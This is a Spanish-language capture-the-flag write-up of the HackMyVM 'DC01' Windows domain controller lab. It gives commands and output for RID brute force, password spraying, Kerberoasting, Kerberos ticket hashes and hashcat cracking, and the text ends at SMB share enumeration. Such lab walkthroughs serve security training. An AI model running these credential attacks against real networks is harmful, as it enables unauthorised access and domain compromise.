Post

HackMyVM - DC01

HackMyVM - DC01

DC01 de la plataforma HackMyVM, un controlador de dominio Windows Server 2022. A lo largo del camino, utilizaremos técnicas como enumeración SMB, RID brute force, password spraying, Kerberoasting, cracking de hashes y Pass-the-Hash para escalar desde un acceso sin credenciales hasta obtener control total del Domain Controller.

Resumen Ejecutivo

El presente informe detalla el proceso de intrusión realizado contra el controlador de dominio DC01 del dominio SOUPEDECODE.LOCAL. La auditoría reveló múltiples vulnerabilidades críticas que permitieron a un atacante sin credenciales iniciales obtener acceso completo al sistema, culminando con la obtención de privilegios de Enterprise Administrator y la extracción de ambas flags del sistema.

Hallazgos Críticos

  • Configuración débil de contraseñas: Usuario con contraseña igual al nombre de cuenta
  • Cuentas de servicio con SPNs vulnerables: Contraseña crackeable (Password123!!)
  • Backup de hashes expuesto: Archivo con hashes NTLM de cuentas de máquina
  • WinRM habilitado: Permite acceso remoto con autenticación NTLM

Impacto

  • ✅ Flag de usuario comprometida
  • ✅ Flag de administrador comprometida
  • ✅ Control total del Domain Controller (Pwn3d!)

Descripción del Entorno

PropiedadValor
IP Objetivo10.0.2.4
Nombre EquipoDC01
DominioSOUPEDECODE.LOCAL
Sistema OperativoWindows Server 2022 Build 20348
Servicios ClaveKerberos (88), LDAP (389), SMB (445), WinRM (5985)

1. Reconocimiento y Escaneo de Puertos

Iniciamos con un escaneo de Nmap para identificar los servicios críticos del controlador de dominio.

1
sudo nmap -sCV -v -p 53,88,135,139,389 10.0.2.4 -oG Ports_1.txt

Resultado del escaneo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT    STATE SERVICE      VERSION
53/tcp  open  domain       Simple DNS Plus
88/tcp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-30 04:15:09Z)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
MAC Address: 08:00:27:51:E7:83 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:51:e7:83
|   DC01<00>    Flags: <unique><active>
|   DC01<20>    Flags: <unique><active>
| smb2-security-mode: Message signing enabled and required
|_clock-skew: 8h59m58s

2. Enumeración de SMB y Usuarios

Primero, añadimos la resolución DNS en /etc/hosts para facilitar el trabajo:

1
echo "10.0.2.4 DC01 SOUPEDECODE.LOCAL" | sudo tee -a /etc/hosts

Validamos la información del servidor SMB con NetExec (nxc):

1
nxc smb 10.0.2.4

Resultado:

1
2
3
SMB         10.0.2.4        445    DC01    [*] Windows Server 2022 Build 20348 x64 
                                            (name:DC01) (domain:SOUPEDECODE.LOCAL) 
                                            (signing:True) (SMBv1:None)

Enumeración de Usuarios por RID Brute Force

Sin credenciales iniciales, lanzamos un ataque de fuerza bruta de RIDs para extraer la lista de usuarios del dominio:

1
nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | cut -d '\' -f 2 > domain_users.txt

Utilizamos NetExec (nxc) para validar la seguridad del protocolo SMB y el nombre del sistema. Al no tener credenciales iniciales, lanzamos un ataque de fuerza bruta de RIDs para extraer la lista de usuarios del dominio.

# Comando por mi para extraer los usuarios expuestos por (RID)#

nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep SidTypeUser | awk '{print$6}' | awk {'print$2'} FS='\' > users.txt
 
nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | cut -d '\' -f 2 > domain_users.txt

  • --rid-brute: Esta técnica enumera los identificadores relativos (RID) del Active Directory. Como el usuario Guest suele estar habilitado o permite ciertas consultas, el DC responde con los nombres de usuario asociados a cada SID.
  • Filtrado (grep/awk/cut): Limpiamos la salida para quedarnos únicamente con los nombres de usuario limpios y guardarlos en domain_users.txt.

Parámetros Utilizados

Flag/ComandoDescripción
-u 'guest' -p ''Autenticación como usuario Guest sin contraseña
--rid-bruteEnumeración de identificadores relativos (RID) del Active Directory
grep SidTypeUserFiltra solo objetos de tipo usuario
awk '{print $6}'Extrae la sexta columna (formato DOMINIO\usuario)
cut -d '\' -f 2Separa por \ y toma el nombre de usuario

Análisis: El usuario Guest permite consultas de enumeración básicas, lo que expone la estructura del directorio activo.


3. Password Spraying: Búsqueda de Credenciales Débiles

Tras confirmar que no había usuarios vulnerables a AS-REP Roasting (usuarios sin pre-autenticación de Kerberos), procedemos con un Password Spraying usando una política común: contraseña igual al nombre de usuario.

1
nxc smb 10.0.2.4 -u domain_users.txt -p domain_users.txt --no-bruteforce --continue-on-success | grep '[+]'

Parámetros Utilizados

FlagDescripción
-u domain_users.txtLista de usuarios a probar
-p domain_users.txtLista de contraseñas (misma lista)
--no-bruteforcePrueba solo cada usuario con su propia contraseña, evitando bloqueos de cuenta
--continue-on-successContinúa probando aunque encuentre credenciales válidas

Resultado: Identificamos las credenciales válidas ybob317:ybob317.

4. Enumeración de Recursos con Credenciales

Con acceso autenticado, verificamos los permisos sobre los recursos compartidos mediante smbmap.

1
smbmap -H 10.0.2.4 -u 'ybob317' -p 'ybob317'

Resultado:

1
2
3
4
5
6
7
8
9
10
11
[+] IP: 10.0.2.4:445    Name: SOUPEDECODE.LOCAL    Status: Authenticated
        Disk         Permissions     Comment
        ----         -----------     -------
        ADMIN$       NO ACCESS       Remote Admin
        backup       NO ACCESS       
        C$           NO ACCESS       Default share
        IPC$         READ ONLY       Remote IPC
        NETLOGON     READ ONLY       Logon server share 
        SYSVOL       READ ONLY       Logon server share 
        Users        READ ONLY      

Parámetros Utilizados

FlagDescripción
-HEspecifica el host objetivo
-uNombre de usuario para autenticación
-pContraseña del usuario

Análisis: Obtenemos acceso READ ONLY a carpetas críticas como SYSVOL y NETLOGON, y a la carpeta Users. Procedemos a explorar Users para obtener la primera flag.

FLAG

1
2
3
smbclient //10.0.2.4/Users -U 'ybob317%ybob317' -c "cd ybob317\\Desktop; get user.txt"
└─$ cat user.txt 
6bab1f09a7403980bfeb4c2b412be47b  

5. Sincronización Horaria con el Servidor

Kerberos requiere una diferencia horaria menor a 5 minutos entre el cliente y el KDC. Sincronizamos la hora antes de continuar:

1
sudo ntpdate 10.0.2.4

Resultado:

1
CLOCK: time stepped by 32399.823935

6. Explotación: Kerberoasting Attack

¿Qué es Kerberoasting?

Kerberoasting es una técnica que solicita tickets de servicio (TGS) para cuentas con Service Principal Names (SPNs). Estos tickets están cifrados con la contraseña de la cuenta de servicio, permitiendo cracking offline.

Ejecución del Ataque

Utilizamos impacket-GetUserSPNs para consultar el Active Directory y solicitar tickets TGS:

1
2
3
impacket-GetUserSPNs -request -dc-ip 10.0.2.4 -outputfile kerberoast_hashes.txt "SOUPEDECODE.LOCAL/ybob317:ybob317"

impacket-GetUserSPNs "SOUPEDECODE.LOCAL/ybob317:ybob317" -dc-ip 10.0.2.4 -request

Parámetros Utilizados

|Flag|Descripción| |—|—| |-request|Solicita formalmente el ticket TGS al Domain Controller| |-dc-ip|Especifica la IP del Domain Controller| |-outputfile|Guarda los hashes obtenidos en un archivo|

Resultado:

1
2
3
4
5
6
7
8
ServicePrincipalName    Name            MemberOf  PasswordLastSet             LastLogon
----------------------  --------------  --------  --------------------------  ---------
FTP/FileServer          file_svc                  2024-06-17 19:32:23.726085  <never>
FW/ProxyServer          firewall_svc              2024-06-17 19:28:32.710125  <never>
HTTP/BackupServer       backup_svc                2024-06-17 19:28:49.476511  <never>
HTTP/WebServer          web_svc                   2024-06-17 19:29:04.569417  <never>
HTTPS/MonitoringServer  monitoring_svc            2024-06-17 19:29:18.511871  <never>
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$...:hash_omitted...
  • GetUserSPNs: Consulta al Active Directory qué cuentas de usuario actúan como servicios (ej. SQL, IIS).
  • -request: Solicita formalmente el ticket TGS (Ticket Granting Service) al Domain Controller. Este ticket viene cifrado con el hash de la contraseña de la cuenta de servicio.

Objetivo: Una vez recibido el ticket cifrado, lo extraeremos para realizar un ataque de cracking offline. Como el ticket está cifrado con la clave del servicio, si logramos romperlo, obtendremos la contraseña de una cuenta que probablemente tenga privilegios más altos que nuestro usuario actual.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
impacket-GetUserSPNs -request -dc-ip 10.0.2.4 "SOUPEDECODE.LOCAL/ybob317:ybob317" -outputfile kerberoast_hashes.txt 


ServicePrincipalName    Name            MemberOf  PasswordLastSet             LastLogon  Delegation 
----------------------  --------------  --------  --------------------------  ---------  ----------
FTP/FileServer          file_svc                  2024-06-17 19:32:23.726085  <never>               
FW/ProxyServer          firewall_svc              2024-06-17 19:28:32.710125  <never>               
HTTP/BackupServer       backup_svc                2024-06-17 19:28:49.476511  <never>               
HTTP/WebServer          web_svc                   2024-06-17 19:29:04.569417  <never>               
HTTPS/MonitoringServer  monitoring_svc            2024-06-17 19:29:18.511871  <never>               


[-] CCache file is not found. Skipping...
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$2784cb12dd4325d209bc12b2d6d350ac$acef070de420186d8cf0a355d916688124b4ce3dafd51cd825698912dcafe79db8422c8061ace0e288604f646cd15b5dabce70d2e3d808fc8c865d15e8ee7ee18cde0dd38233389f2aa3bedff09d1c209a0decfd54fa708b3fa0962bb0cd7eabca297b69c899b302cdcb3adf538dbdd5cb7b2e15eb33e49b06dd0557390abf2a4395fe4b06ecbfa495c3d3bbe1193e9eea4a730f18995f3fe08d47178b93bf2b4def260d254d8c167a7e3eb49eff80e21a003b82b537b23728cb7bdf2bc3b4ac18168c623491dd0b767054a2f8a76b46bb14040013da386c1d61b0250569af2bb9e208695b76f23580edf8ea7f3f3786f216158a0523d04e3361d85b0b9039c605fddd0058fdd5deefa0e3ba6cd318b497407ebcc729a83958f03a550b6f98ec6fe9ed70d11246c4a53c63724a07fdd14b9cea76bdf9484f3ae23c52e9b709e2141f3242d9bb2fe3c1de049be2fc44a494a01036f8b4909c2d3f0b1d73fbc97f0944bf37d4995cb2ba8dc40e003d7fee6c1710ad3c617dc9cf1f769f06714099d25332765dd7573efcba539a496359ba92ad945ed724927f537a22c7f84d4ead42f203962a40427b24463a12170f51fdfb346e73b08ee4e63ae7518178e47bcaa7aba0b03a0e51eb344420218c40a1d2cb4541263b64efc733b9721293a96a84dd6c83240194fd707ea2f4af322d90bf6774ad0df09ffefebf013c3f5c4a71529f4d58bf246f5bb049862f337517b0064605b2146ba5af40b3915132d3ab8a2fa38a68c8db80c2529000c5e72fb1b217898fa22f8cb0c5973831ed2acb00c54c0211f82bdf4bdae3ea56072bc349b1ebaba96315b8d811e246bec25acbb427df142baa592fb544554040e828f3ac0dcb5416734c9c16c273e1f06b83ffc7a5bc083bdcc135eb46bdffcf1064c8e051d2c37b2791339e30397f4021442078f89a86032c38ef16d61a441c98dbab956e25a72a72b21d203cfb4f40f0f0316912049c503edc4c002913503b238957d403e404f9a4c58bb2220ef221c539f8166461228e3262d8aff743aebe3a538911625224c8adc7578470a5d97ce59268bb2a9b53847b7007fd757faef8c1606bd6e2bba37b501d5521db8c01da93c6f7c8a455e87c40a0d2e1db3e231bd9e813d6fee22c97a24d9bcf98b3a9103e11441d9ee63c5af7a256ba7ed7bcf2eade11f4e13d413d1468adbce4164dce668113b5963e74508fdf7952982c6c76c0538c02596b3dbe3787912b0e6e84dfd3df46e92177daf6348c29c75a0670a397db8832b6a2b62fddb6bcf8c886f54ed8feaea1fcd83ec42dd9020280e10784c262e644bd917a086184d805815da9c5348ddce04fc681e7a60dec176af14a9a2abae7a83672a1f07703d61746f57cb8f4b5560ee8066c7feecd67f7cb5cef9cb1a7de12b23a804711a25190395b82c27ae5d8bc086b15317a0538bb425894d90e6bbaa0487c07f4288c687e26335a04530a9ce7b34bad
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$aa7277e8b10ce548490e6cbd74e0112f$b5ec2ee30b752503f251648eea733271115862334bb7e8f8a9555e7aeb736361fb2c40b495a454654702f2682bc78fd64947b79b1556fdcdbd6d4fdc5ee658f6af99cce0cac995390f4a0af09ad846d68469c3bdb8d8f7c291bf1cfd4234ccc2463fd874678958bc1e2a193603241cce9f4e2f45ce83564e85db14331b6de53c6828194efdb8dd2964242a4bef976e8bf592f854d774d51d26a298aad262ae73d13f8d507a5bf4bd596665080d26be29a8d954aafd1acbbcd7bacfebf18638bfe935471960690ae3ddcb792a2c4f6b74c32feeab9fb89ae9c402b433cf7e7b42b22140925b2508c0a9f04720b25280e22fd2307c396e90fc600f331798e56761ffa4c70a80022421d6245f52ce7ae8b186387ccdee85f606e3aeedbfe7cc1a2eed130c4aaf732d1922b2f885ccf024448192277c9e8fce7ef9805ba116e9d5b5fb127d2d4ded69d1ba0acd500b1b01ed3a8cbd2814ee5ab32474d1d9ed313b45551c9e61b5a12e5bbdbceb2a701dbee810ee0d52db6bfa23bb504c9b3d6f3152c4f078b21a8ec2398567f2cbc810b91234285cd11e9e0f8ffe324e2c10c6e8b10696530ee8c2a3dc0247f838cce6fa4de5f14b2581b602c16b515cf29c576cbc2c31e83170908166ba768e75a2e6fdded48254a044d960377cb6624e26426697aeae745362a14797aa67d3d3879da0b80a40a14efba893fbaf8d139e64aed9cd20b0df9337d71cc43338bded10c6cea49d30ad2384ee2967a95eb99f05264da4f8ca227b36d5aa0fd07a7ea1c8ae6a62d3e4b69c0b8a18ed4f27d502653fe2f6f584075b5f73eb9e0ed2ad8ea759d55f89edf9d36cab4398c4e870362fc66a86b091b8ec1363aa9489ce6b9fdf703218366daa24e5ac0e5891181dce924f46759a2092d0203fa7321cbaee4423456620146814d79db568f9ca397e0eb57872c8963868b56c82a16263775ce35495f15f1502bf39e2b308f7dca977350f887f5e11bbd934103bfe5aea095a39c28e2566ba1b8947e7d743a534290a6a8de27e22f7efd91198307c7738fea9c5bc7a4074671ea61f6f5d983d972bb6d0ef464139b3c6a6ffaf426e50d55ff676891e64c5d17d64afd8f50b5ce885d36541c52fb60039911d1ee332a3199f8ade27d574a9151d7f0e636bbfbed4364321b42f0a92839a5369b1ac606f670f9e302225afcf3f2ee2a472a76b1a46f324dff18292edea01c34816857d37d8df11e55c31760057b555843fec8ad0e709bf0d1d21056628edd8e57fa453658154f66a2e7b7d117541c85e293946a4e971831433eac9d6c929c375e4b00db28a92d1f0c1eb7ed5bef2ff5381c66d0009641b6031e627be875e1af25fea85a5800221eb99deec6c54ba569183038b8d0f4a1fc41f7419e279901f9b40f57a32dacd3718c62fbb09aef5314319392ddf33f5d27db5e4b6428dbf5f4364b35abf4b307de221cc1a0dedc319bf3b308e80bd7b323490c4c38af3
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$cefcad17ffcd606986e0cdc1d6fd3ff2$0066b696bdb69fd7129b7fe2bb7f3d0a8409abdce94a54183d751acab9c8e0c8f2f3bf1fd75ae168c1c01c1a9d08666caffde3b142acd7b2f9ccf633af9053e1d6c33e3a478484a29798e0933ebdb46f416ead2e8acfabfc5a1adbdb1ba09bfff83623fbe94fc89df62f7ca97ee270e997546da9157090d945a0261885179ba95c2e6eb1d6ace0790dfd36f89bfd4096fd83229407b3d825d5d5a8240d8d9a4e9f5555d8a882dce91263325c3d4d5c39581cff1b73bd9e8bccff326fda0ec95cabfc131da6c471e870db821a6f9fe0b22c36003c3f92ca0b0d261ba12f34687bda93e9e75ce67a55a944f34e5a05ff6be6947cb133d59f924825fef00d6c4ef19065d64df46936cb5bb094ba3363586f9d29e61a13757347a64bce7b8abd65f0a9eb09b3b029f191f3b6422d81afa8136d8849d19c75640ed456b618090dcf10ce17b6eca6707e25d81ff4f5fb49924c9005d743d37a509c001b83a195c49d9cc499bc2db2bb6bb3a327046e05a62b0f4cb99b4f03ad8ac2d822cb1080bf4c0e5b2083c1a338c6b24640ebcd17602ca432dcddc84d727bf86b52059e3a758c2d0546c460fee6ce8370e569e8b4dcbf44a371a754442cdb3fc9bb7776a709e40ba48c9aa7aad639472dabb5828f8fdc24947848ba6f2e42a2c3d743f08e2aaf53e30a36e3c6ca8ffd85a01e87fa95cabfcaed30d7eb7022367dbce1e80d4019458203fef8721f870d7d1c4e254391760bb2174fc1c5fc0e7603533df802d90eb5b2fec9f9435eca6ffd283e599df58aeeeb027a3af11cf261b84a40101ce5699472a39071d129f84d05abe6ddd107c660bfae80f3c34a72f6e5d9c27a10c897be72b398b423282b92c9fb559fe9f0e704e3c9e7f0f3913e4f18b327eaacc0119f85c6572a9910a54c12158672055446e035e962b7c6265318e1dd72d274324af2b881b5bd6ed244b10dfcf5ceb327774d05dfc36b2146f74a8195b4756a6086dc607c722d85a5f4d20f5ccf77c16c1f922fb33373b85697ee5298eede98f60e7166e8c09b774234d0c5106733256816834e5410af63ce6661bca8bcad869882240ccf53dfe364a50eb3d5a1f1909f443ec71717e7a99677e3a149670700c221da17d1f25391eda559fa53cd6eefe71d6757e55dd0e7e733edebc80f9f75b843e21a3b5a198c1f03c9c9448b0d3af698a041ae6b36c26e3b68c05f3b83a4202d79d57d43f5c3172ff8a8b03ea3b3359d4438068c8dd5fc496916c0e6a039c12013d5fd4fbeeff10c7a9664b77601d4f03584eef3c472e77f0511c9445b18729948f72de9ff08c144369e00c35ff489369607980964274cdc95f13bafb26e31a4e9c5ceffa711f8bd40011f9673162e2d9d548bf825076bfcae4e6c35fd53ab364e26733095e881e3b52cdfa9e0afd376120aba5a14c3554961142dffd91112dcde6d6d13850fe23f77d61954c959538802704082e0327df6949aa5247ad3ca0920c2
$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$da5a2c946662160b447fe59efdadb62d$9acf4c377c1d8b926ac6728eedd1df4344ae7f5369431da0144a6f69a77e066cdefc29c330cc3a167f445b0c799f62bda190ea4072cc4a32d6b2227f745739d758060b2f070435a12970ba4a37113900a22b5a59c124733e4b7f25b3aa5b673fc479eb811c95e52a0559a677fdab776b5da1f4fef7421ae28f2ee9fcb68a93b8d1fc07aa07eab6eedc6f20eb64e6976ac0cbcbdc38713becd1d3d99854a1bb77f6d217fe63c7630771c3945555a4874c335dfd0c305caa1e5939bb67147831a85dc2d17b07e592796db8798fec4aed631c80562fe02d3d83253683af81e90653eed41aa1204dd75e4ea089d762341029d3777b3298a94e1bab21b324b1cad6b186c27f5964caf06467a9ac071d46dfe558cbb414e30795bf7c285d0fe450a6a3a9803fcfa347242d7a35bb3a97514b0e1c7a2bfa475f8eea490a404e5ed0afa56cab51f0455a6526b02984630614fd170de9c818b119358290adcdc583f6ca651de1484dc90e7af6d4c940f93619337cbab0aae2f4f7acbe6ee035369b216ca237b6d2d38400032c7c792eb090f6780f21805bcf3bc0f6109fb93c3a774cd7283f9f1835d2bdf439bd2fd99fbe0f7f4052391772679569f34a2641e9d6ebf24412bf4e7a541da8be201631a92773bea476b214643738fcfe6833bf0c8ff01cc0ef9b7885804c3841ee16362917092fa42894d36e7f7e2f6ae9fd182c9146ba73a0caad89e699ce05c2f081e89749b608cec3cd68260ce244f46990666901da22750252cd36e5b58d9785b01cb3e3953b4c8def2bdb1d22c21df572f4ea9a8e6551a03215fa777ee577a55433a68be4a5b5454d1899c3fb8f5a1eed71597ed57215b167b0db88612cbafacf237337bb48e50f47d094d852cbb380f487af896cf953c3bd291e9bd3750ab8a58454631797f62336060781a178413fa8ca3f66b1faaaa4e4f795782d507e70fcc2de96963de45fcf8742382db44789bf4eaefc5e312c73843b145f9e14314e3baf37a9805b3e61011d15d041e320210c31768d4b82dc0ce3612b494a98e458b105dd77666df296bbce78e7f143ed96c20e2c5e555f08e4f612879a27ce0fa97c5d63ef1479b05b2b989c94eaba6a509024db2a3aeb75750bcb075eb95d7da0f34121be1f86a6fe6d0a62c98aa0c1b582f59319d16bf079e29f2bae0beb0bc7e797ab5c7e47f21799fdf45840418caaeec2653141132c9e3b81c79e05841d1a68e66d7e1afa502e02e24d63b2b8b7156781254c17423dcdab4ab6c7eb9e8ffe9c2927ac4aabc32128452e5081de2c28bf9b2aa58c859084f30ddf70d39b080e495d59a55ebcde0e68c042d0bcf6a4b48deb35a6eca927e8649b0517c6351ff5f2756fd581014555e1a48e0eb763cd748bf21f35d6cbc35822049c2591fffbb2bb93a3be9b097f1f0b46d78b92142fbb97cd12681e257269d918fec4624e4be88757a71665f4ded2f2c8b7bb78378c0d2ccf8b6a6a66f4
$krb5tgs$23$*monitoring_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/monitoring_svc*$f7d1f05661ced5c146483f433295d900$1a257693e6f83caf9ce83a9d166bcc73d73d6fe32442900d6c31ea4d0dc8d917c5f0143fa9c3ac9370ccf45d1335c9a05c8e436699113257de229b17211a8f58ae60dba311ed3d8f1e542d131e95cda4b8acb5f33662c5de8b19dc8b0a6b647ffcb779c07dd38b57b51c9cf94522f17de420f82dad5ed701bc1c8bf8d2719c10a7830b9fd014c1f91e0067e4898a2e15cb54656f69f63a3ae42c1946a8dd567ca29af0f7937d71897cfa52a6656ca90b7ea57f36d23ad57fb0e0455a8cb42881e501ff372338be6f9d6765638670d9ecd07dc5f20001b14962d45e106743309b31f55f95b1deefe26daddc0bad753c268175c653557aa29780067cba2e094413718442dfbafe09fd3825ac38c5c171abd73745d9e2e9d86058b60d016a5f4cf7ebec520c22930852d85d2a25d721818ba62e4533e8353166fc25709b04ab239126069e46dac76466a679be51d2b39837263b51534432b10667a15f6c3538552a5a6afc223dcd448821be1ae5a38e4a7c4e1b42fca0b2e5b1d5c259319b6ad35beeb92cb914c004b42996a559dfe9498bd591b465a2b7d4ffbb54b573fc5821135474773be5d69e19b4eecbbfa21e14fe49e134499893ada8f44d05b54bdfeb466efa227a5c66026d071416a927a0007437a0a6a298144e275b5e2293457664a424c8a1241a18521702397b28c36c93ba5cb69c5d7385675dbd458ced0f2492a2c9239ab520a8fe02ea3505b6a2d78a4c5846dfd3867bf3b61c0ac69bb6a74e4daaac9bc52c5022750a2c704c63411af9f195edfc9551a2f9ada47b46ead3c48510d456ab798fd54b4de5314a06aa769c09af55ba52f5f9ed061dbd8c5a27d2abf96e9bcdc556b72b172ab3e770b0aad644dba7e9ce515ca425257d2fc7e8176120fb87f0c66ce842f1471950d0f1b99f5777f470b7bcaf2680672f06b03230ae7225fef87949393340517be8a853b54c2a2aa327f90d1fedd333e2133fd3402ce6e5f51da3492ef4d0a64a13ec75e0b0e133017eae4ac9b92fc8fc4ed746afde6ce697c6481f3b4f0bcc11aaeb6cb9df25bff9a1b209ee2ad46449426929db6576f83c4b35f7fe67ac2b2063582e490fded5c823cefb965b4ac1cf2ee8f1affe56a65b2f6ad7ca5df7657f45e6ac2fcba02ab2142b1d2eb660f574fc107e042988259374d1e8ccc6c5c73167562c4b9428c8df4339aa1223c37493a8869cf0b4611d449414789952feeb96c58e55ff474306400eeff74ee074b9675b5fbd6e4388169dcd0ac9343fe606fede45479638db1567a0010f148eafd39a43079c484e7b2d98a9c5850b7ee5bdf10dabb745ea722acc666084f984369038338f4cece249bbe403debd62a9a9b3b57cec5041591f025d2b765f192f241da8b0f7603093fd29cb7c0903ad4030642dbdf96d179d84d137e1c6e7b6909808031362c5bd377cc8a997d56a9c308840e2568ceb218cd955fe4af4ced2782d252c107af608ada7

tenemos 4 tickets generados , dejo la separacion de uno para una visualizacion mas clara

1
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$2784cb12dd4325d209bc12b2d6d350ac$acef070de420186d8cf0a355d916688124b4ce3dafd51cd825698912dcafe79db8422c8061ace0e288604f646cd15b5dabce70d2e3d808fc8c865d15e8ee7ee18cde0dd38233389f2aa3bedff09d1c209a0decfd54fa708b3fa0962bb0cd7eabca297b69c899b302cdcb3adf538dbdd5cb7b2e15eb33e49b06dd0557390abf2a4395fe4b06ecbfa495c3d3bbe1193e9eea4a730f18995f3fe08d47178b93bf2b4def260d254d8c167a7e3eb49eff80e21a003b82b537b23728cb7bdf2bc3b4ac18168c623491dd0b767054a2f8a76b46bb14040013da386c1d61b0250569af2bb9e208695b76f23580edf8ea7f3f3786f216158a0523d04e3361d85b0b9039c605fddd0058fdd5deefa0e3ba6cd318b497407ebcc729a83958f03a550b6f98ec6fe9ed70d11246c4a53c63724a07fdd14b9cea76bdf9484f3ae23c52e9b709e2141f3242d9bb2fe3c1de049be2fc44a494a01036f8b4909c2d3f0b1d73fbc97f0944bf37d4995cb2ba8dc40e003d7fee6c1710ad3c617dc9cf1f769f06714099d25332765dd7573efcba539a496359ba92ad945ed724927f537a22c7f84d4ead42f203962a40427b24463a12170f51fdfb346e73b08ee4e63ae7518178e47bcaa7aba0b03a0e51eb344420218c40a1d2cb4541263b64efc733b9721293a96a84dd6c83240194fd707ea2f4af322d90bf6774ad0df09ffefebf013c3f5c4a71529f4d58bf246f5bb049862f337517b0064605b2146ba5af40b3915132d3ab8a2fa38a68c8db80c2529000c5e72fb1b217898fa22f8cb0c5973831ed2acb00c54c0211f82bdf4bdae3ea56072bc349b1ebaba96315b8d811e246bec25acbb427df142baa592fb544554040e828f3ac0dcb5416734c9c16c273e1f06b83ffc7a5bc083bdcc135eb46bdffcf1064c8e051d2c37b2791339e30397f4021442078f89a86032c38ef16d61a441c98dbab956e25a72a72b21d203cfb4f40f0f0316912049c503edc4c002913503b238957d403e404f9a4c58bb2220ef221c539f8166461228e3262d8aff743aebe3a538911625224c8adc7578470a5d97ce59268bb2a9b53847b7007fd757faef8c1606bd6e2bba37b501d5521db8c01da93c6f7c8a455e87c40a0d2e1db3e231bd9e813d6fee22c97a24d9bcf98b3a9103e11441d9ee63c5af7a256ba7ed7bcf2eade11f4e13d413d1468adbce4164dce668113b5963e74508fdf7952982c6c76c0538c02596b3dbe3787912b0e6e84dfd3df46e92177daf6348c29c75a0670a397db8832b6a2b62fddb6bcf8c886f54ed8feaea1fcd83ec42dd9020280e10784c262e644bd917a086184d805815da9c5348ddce04fc681e7a60dec176af14a9a2abae7a83672a1f07703d61746f57cb8f4b5560ee8066c7feecd67f7cb5cef9cb1a7de12b23a804711a25190395b82c27ae5d8bc086b15317a0538bb425894d90e6bbaa0487c07f4288c687e26335a04530a9ce7b34bad

Identificación del Tipo de Hash

1
hashcat --identify kerberoast_hashes.txt

Resultado:

1
2
3
# | Name                                          | Category
===+===============================================+======================================
13100 | Kerberos 5, etype 23, TGS-REP               | Network Protocol

Cracking del Hash TGS

1
2
hashcat -m 13100 ker_clean.txt /usr/share/wordlists/rockyou.txt -o cracked.txt --force

Resultado:

1
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$...:Password123!!

Parámetros Utilizados

FlagDescripción
-m 13100Modo de hash para Kerberos 5 TGS-REP
-o cracked.txtArchivo de salida con contraseñas crackeadas
--forceFuerza la ejecución ignorando advertencias

7. Movimiento Lateral con Credenciales Obtenidas

Verificación de Credenciales

1
nxc smb 10.0.2.4 -u 'file_svc' -p 'Password123!!'

Resultado: [+] SOUPEDECODE.LOCAL\file_svc:Password123!!

Enumeración de Recursos con file_svc

1
nxc smb 10.0.2.4 -u file_svc -p 'Password123!!' --shares

Resultado:

1
2
3
4
5
6
7
8
9
10
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
backup          READ            
C$                              Default share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share 
SYSVOL          READ            Logon server share 
Users                           

Acceso al Recurso Backupv

Comprobamos la contraseña

1
2
3
4
└─$ nxc smb 10.0.2.4 -u 'file_svc' -p 'Password123!!'
SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.0.2.4        445    DC01             [+] SOUPEDECODE.LOCAL\file_svc:Pasxx!! 

1
2
smbclient //10.0.2.4/backup -U 'file_svc%Password123!!' -c "get backup_extract.txt"

listamos el contenido con SMB MAP

1
2
3
4
5
6
7
8
9
10
11
12
13
# Enumerar recursos con file_svc
smbmap -H 10.0.2.4 -u 'file_svc' -p 'Password123!!'

[+] IP: 10.0.2.4:445    Name: SOUPEDECODE.LOCAL         Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backup                                                  READ ONLY       
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   NO ACCESS       
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ nxc smb 10.0.2.4 -u file_svc -p 'Password123!!' --shares
SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB         10.0.2.4        445    DC01             [+] SOUPEDECODE.LOCAL\file_svc:Password123!! 
SMB         10.0.2.4        445    DC01             [*] Enumerated shares
SMB         10.0.2.4        445    DC01             Share           Permissions     Remark
SMB         10.0.2.4        445    DC01             -----           -----------     ------
SMB         10.0.2.4        445    DC01             ADMIN$                          Remote Admin
SMB         10.0.2.4        445    DC01             backup          READ            
SMB         10.0.2.4        445    DC01             C$                              Default share
SMB         10.0.2.4        445    DC01             IPC$            READ            Remote IPC
SMB         10.0.2.4        445    DC01             NETLOGON        READ            Logon server share 
SMB         10.0.2.4        445    DC01             SYSVOL          READ            Logon server share 
